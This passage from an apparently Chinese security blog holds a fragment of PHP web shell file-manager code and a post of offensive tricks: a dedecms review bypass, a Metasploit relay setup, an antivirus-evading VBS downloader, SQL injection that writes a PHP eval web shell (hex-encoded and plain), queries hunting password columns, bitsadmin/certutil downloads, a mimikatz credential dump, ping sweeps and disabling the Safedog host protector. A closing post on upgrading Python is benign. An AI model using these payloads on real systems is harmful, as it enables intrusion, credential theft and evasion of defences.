        return join(' | ', $dirs);
    }

    protected function scandir($path, $dir = false) {
        if ($dir == true && !strpos(ini_get('disable_functions'), 'scandir')) {
            $class = scandir($path);
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo == '.' || $fileinfo == '..')
                    continue;
                if (is_dir($path . '/' . $fileinfo)) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo)), str_replace('\\', '/', $fileinfo));
                }
            }
            return join(' | ', $files);
        }
        //先采用scandir扫描
        if (!strpos(ini_get('disable_functions'), 'scandir')) {
            $root = scandir($path);
            foreach ($root as $key => $value) {
                if ($value == '.' || $value == '..')
                    continue;
                if (is_dir($path . '/' . $value)) {
                    $dirs[] = $this->mbstring(str_replace('\\', '/', $value));
                }
                if (is_file($path . '/' . $value)) {
                    $files[] = $this->mbstring(str_replace('\\', '/', $value));
                }
            }
            return array('dirs' => $dirs, 'files' => $files);
        }

        $class = new DirectoryIterator($path);
        if ($dir == true) {
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                    continue;
                if ($fileinfo->isDir()) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo->getFilename())), str_replace('\\', '/', $fileinfo->getFilename()));
                }
            }
            return join(' | ', $files);
        }
        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
        }
        return array('dirs' => $dirs, 'files' => $files);
    }

    protected function space_total() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : dirname(__file__);
        $dis = explode(',', ini_get('disable_functions'));
        if (in_array('disk_total_space', $dis)) {
            return '0B';
        }
        return $this->byte_format(disk_total_space($path));
    }

    //拆解当前路径
  

本地测试后发现功能,点评下,功能太尼玛简单咯

一些有意思的玩意

发布时间:April 26, 2015 // 分类:运维工作 // No Comments

1.dedecms绕过非审核会员机制

/member/index_do.php?fmdo=user&dopost=regnew&step=2 

注册后直接访问 "完善资料" 的url,"完善"一下就激活了。

2.msf转发上线

中转IP上运行

lcx -listen 1433 3306

KALI里面运行

use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 3306
set RHOST x.x.x.171
exploit

原理就是利用中转服务器对数据进行对接

3.一个免杀的WGET.vbs

iLocal = LCase(WScript.Arguments(1))   
iRemote = LCase(WScript.Arguments(0)) 
Set testPost = CreateObject("Microsoft.XMLHTTP") 
testPost.Open "GET",iRemote,0 
testPost.Send() 
Set sGet = CreateObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(testPost.responseBody) 
sGet.SaveToFile iLocal,2

它的原型

echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

使用方法:cascript iget.vbs url save filename

4.SQL Injection 在 ORDER BY 內使用 into outfile

在 ORDER BY 后不能使用 UNION

除了可以使用

LINES TERMINATED BY 0x41414141

來定义Webshell 外还可以使用

select user() from login order by if(( select 'abc' into outfile '/tmp/1.php'),1,1);

來导出 Webshell

在limit后还可以这样使用

select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xxx limit 1 into outfile 'C:/shell.php'

如果受到单引号等的影响,可以考虑如下的办法

set @a=0x73656C6563742030783343334637303638373032303430363537363631364332383234354635303446353335343542323736333644363432373544323933423346334520696E746F206F757466696C652027433A2F7368656C6C2E70687027;
prepare cmd from @a;
execute cmd;

其原型如下

set @a=select <?php @eval($_POST['cmd']);?> into outfile 'C:/shell.php';
prepare cmd from @a;
execute cmd;

5.在msql sqlserver里边怎么快速找到带有关键字的表

sql server 全部库:

declare @i int,@id int,@dbname varchar(255),@sql varchar(255)
    set @i = 6
    set @id=(select count(*) from master..sysdatabases)

drop table #t
create table #t (
    dbname varchar(255),
    tablename varchar(255),
    columnname varchar(255)
)

while (@i < @id)
    begin
        set @i = @i + 1;
        set @dbname = (select name from master..sysdatabases where dbid= @i)
        set @sql = 'use '+ @dbname+';insert [#t] select table_catalog,table_name,column_name from information_schema.columns where column_name like ''%pass%'' or column_name like ''%pwd%'' or column_name like ''%mail%'''
        exec (@sql)
        --print @sql
    end

select * from #t
drop table #t

go

sql server单个库:

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');

mysql:

select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');

6.wireshark使用的时候wincap报错.

unable to load winpcap(wpcap.dll); wireshark will not be able to capture packets.
解决办法:
因为npptools.dll这个权限被去掉了,重新分配一下权限就可以了。如果修改权限还是不行。就表示文件被破坏掉了

Unable to load WinPcap (wpcap.dll); Wireshark will no be able to capture packets.
Fix:

The NPF driver isn't running.
Fix: from elevated command prompt: net start npf

Notes: 
The problem is only with the 64-bit version of Wireshark.
wireshark-win32-1.2.0.exe installs and works fine on both Windows 7 x86 and x64. 
Network Monitor 3.3 x64 is installed and works.

7.关于文件下载

Bitsadmin File Download

Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。

bitsadmin /transfer n http://domain/file c:\%homepath%\file

还有一个certutil

certutil -urlcache -split -f http://www.baidu.com/1.rar

8.mimikatz不反弹读取密码.

有些时候无法反弹shell执行mimikatz,虽然可以用procdump导出lsass的内存dump文件,之后本地获取明文密码,但多少有点麻烦,其实mimikatz也支持命令行直接导出

mimikatz.exe privilege::debug "log filename.log" sekurlsa::logonpasswords token::elevate lsadump::sam lsadump::secrets exit

9.内网里的无工具扫描

内网C段存活主机查找,这条来自核大很早以前的回帖

for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1 | find /i "ttl"

通过上面一条,加上我在内网玩的经验,延伸出了下面这条,是用来找主机名的

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

再从上面一条,延伸出了B段查找,因为在一个内网里面有时候不一定只有一个域,而当两个域没有信任时,可以用这条扫出来

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

这条也是核攻击大牛发的,是用来找域机器对应IP的

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)

10.安全狗开启各种保护,突破方法:首先在Shell下把安全猪的安装配置给下来 默认安装路径:

C:\Program Files\SafedogServer\SafeDogGuardCenter\Config\DirDefend.xml
导入本地的安全服务器安全狗查看    主动防御 - 文件及目录保护  查看是否开启各种保护。如果开启了,直接关掉。然后再把DirDefend.xml替换到远程服务器上去,重启服务器,各种操作。如果还开启了密码保护,打开注册表 regedit ,找到HKEY_LOCAL_MACHINE\SOFTWARE\Safedog\SafedogSR 删除SafedogSR 即可突破安全猪密码保护。

11.报错注入中读文件找路径太慢,折腾了一个一条语句查找web路径的sql语句

select substring_index(replace(load_file('/etc/apache2/sites-enabled/000-default.conf'),substring_index(load_file('/etc/apache2/sites-enabled/000-default.conf'),'DocumentRoot',1),''),'\n',1) as test;

 

linux升级python

发布时间:April 26, 2015 // 分类:运维工作,工作日志,linux // No Comments

最近对一批闲置的服务器进行维护,期间使用到python脚本来批量进行操作,可是发现python版本过低。于是对python版本进行升级

1.下载Pyhon,选择下载Gzipped source tar ball (2.7.3) (sig)

wget http://python.org/ftp/python/2.7.3/Python-2.7.3.tar.bz2

2.解压安装,命令如下

tar -xvf Python-2.7.3.tar.bz2
cd Python-2.7.3
./configure --prefix=/usr/local/python2.7
make
make install
make clean
make distclean

3.创建链接来使系统默认python变为python2.7

ln -fs /usr/local/python2.7/bin/python2.7 /usr/bin/python

4.查看Python版本

python –V

5.修改yum配置(否则yum无法正常运行)

vi /usr/bin/yum

将第一行的

#!/usr/bin/python

修改为系统原有的python版本地址

#!/usr/bin/python2.6

PS:

1.在执行./configure时,出现报错信息configure: error: no acceptable C compiler found in $PATH

解决方法:    yum install gcc -y

2.在make的时候提示我

Failed to build these modules:
_sqlite3 

在网上查了一下解决办法:编辑源码下的connection.c这个文件

vi Python-2.7.3/Modules/_sqlite/connection.c

#include "cache.h"
#include "module.h"
#include "connection.h"
#include "statement.h"
#include "cursor.h"
#include "prepare_protocol.h"
#include "util.h"
#include "sqlitecompat.h"
#include "pythread.h"
#define ACTION_FINALIZE 1
#define ACTION_RESET 2
#if SQLITE_VERSION_NUMBER >= 3003008
#ifndef SQLITE_OMIT_LOAD_EXTENSION
#define HAVE_LOAD_EXTENSION
#endif
#endif

下面添加上

#ifdef SQLITE_INT64_TYPE
typedef SQLITE_INT64_TYPE sqlite_int64;
typedef unsigned SQLITE_INT64_TYPE sqlite_uint64;
#elif defined(_MSC_VER) || defined(__BORLANDC__)
typedef __int64 sqlite_int64;
typedef unsigned __int64 sqlite_uint64;
#else
typedef long long int sqlite_int64;
typedef unsigned long long int sqlite_uint64;
#endif
typedef sqlite_int64 sqlite3_int64;
typedef sqlite_uint64 sqlite3_uint64;

再次make,没有报错。

分类
最新文章
最近回复
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...
  • 纸条: 谢谢,大佬。我要拿去抄作业了!
  • 没穿底裤: 稳定运行了大半年
  • ppx: 兄弟做得咋样了?